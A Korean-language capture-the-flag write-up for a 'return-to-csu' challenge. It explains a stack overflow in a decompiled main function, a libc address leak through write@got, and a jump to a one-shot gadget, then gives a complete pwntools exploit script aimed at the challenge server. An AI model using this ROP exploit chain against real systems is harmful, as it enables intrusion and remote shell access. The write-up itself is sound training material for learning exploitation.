int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-40h]
setvbuf(stdin, 0LL, 2, 0LL);
write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
return read(0, &buf, 0x200uLL);
}
main 함수이다. rbp-0x40 에 0x200 을 입력받는다.
보호기법은 NX 만 enable 되어있다.
라이브러리파일이 주어졌기때문에 write 함수로 read@got 주소를 leak 해서 라이브러리베이스를 구한 뒤,
원샷가젯으로 return 하자. 하지만 pop rdx 가젯이 없기때문에 csu 함수 로 리턴하자
.
r12+rbx*8 로 리턴하고, 인자는 r15,r14,r13 을 받는다.
함수호출 후, rbx 를 1 증가시키는데, rbp 와 다르면 loc_4006A0 로 점프해서,
처음함수 + 8 을 호출해서 오류가 나게된다. 그래서 rbx 를 0으로, rbp 를 1로 세팅해서
한번만 호출하게 하자.
rbx 부터 rbp, r12~r15 까지 세팅할 수 있는 가젯이 있으니 원하는함수를 호출할 수 있다.
!!! r12 에 있는 값으로 리턴하니, write@got 주소로 리턴해야한다.
from pwn import *
#r=process("./rtc")
r=remote("ctf.j0n9hyun.xyz",3025)
oneshot=[0x45216,0x4526a,0xf02a4,0xf1147]
b=ELF("./rtc")
libc=ELF("libc.so.6")
context.log_level='debug'
pr12345=0x00000000004006ba # pop rbx, rbp, r12,r13,r14,r15 ;ret
call=0x00000000004006A0 # call r12, edi=r15, rsi=r14, rdx=r13
read=b.got['read']
write=b.got['write']
main=b.symbols['main']
p1=b'x'*0x40
p1+=b'x'*0x8
p1+=p64(pr12345)
p1+=p64(0) #rbx
p1+=p64(1) #rbp
p1+=p64(write) #r12
p1+=p64(8) #r13
p1+=p64(b.got['read']) #r14
p1+=p64(1) #r15
p1+=p64(call) # call [r12]
p1+=p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)
p1+=p64(main)
r.sendlineafter("?\n",p1)
libcbase=u64(r.recv(8))-libc.symbols['read']
for i in range(len(oneshot)):
oneshot[i]+=libcbase
print(hex(libcbase))
p2=b'x'*0x40
p2+=b'x'*8
p2+=p64(oneshot[1])
r.sendline(p2)
r.interactive()
호출 후에는, esp에 8을 더하고, pop 이 6번 있으니, dummy 값 7개 + main 으로리턴하고,
다시 입력을 받은 뒤, oneshot 가젯으로 리턴한다.